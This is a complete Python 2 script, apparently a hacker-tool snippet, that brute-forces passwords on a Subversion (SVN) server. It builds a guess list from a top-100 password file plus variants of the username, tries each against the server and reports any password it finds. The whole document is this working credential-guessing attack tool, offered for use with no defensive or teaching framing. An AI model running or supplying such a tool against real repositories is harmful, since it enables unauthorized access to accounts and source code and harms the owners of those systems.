svn brute force

svn_brute.py

import sys
import argparse
from svn import remote
# code by tnt1200
# https://pypi.python.org/pypi/svn

err = 'E170001'
err2 = 'Password incorrect'


def svn_login(svn_url, username, password):
    try:
        s = remote.RemoteClient(svn_url, username=username, password=password)
        s.info()
    except Exception, e:
        if err in e.message:
            print '[-] wrong password'
    else:
        print '[+] password FOUND ' + password
        sys.exit(0)


def gen_password(username):
    base = [psw.strip() for psw in open('top100.txt')]
    return base + [username] + [username + psw for psw in base]


def main(url, username):
    passwords = gen_password(username)
    for psw in passwords:
        svn_login(url, username, psw)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='SVN brute force tool')
    parser.add_argument('url', help='SVN url')
    parser.add_argument('user', help='SVN username')
    args = parser.parse_args()
    main(args.url, args.user)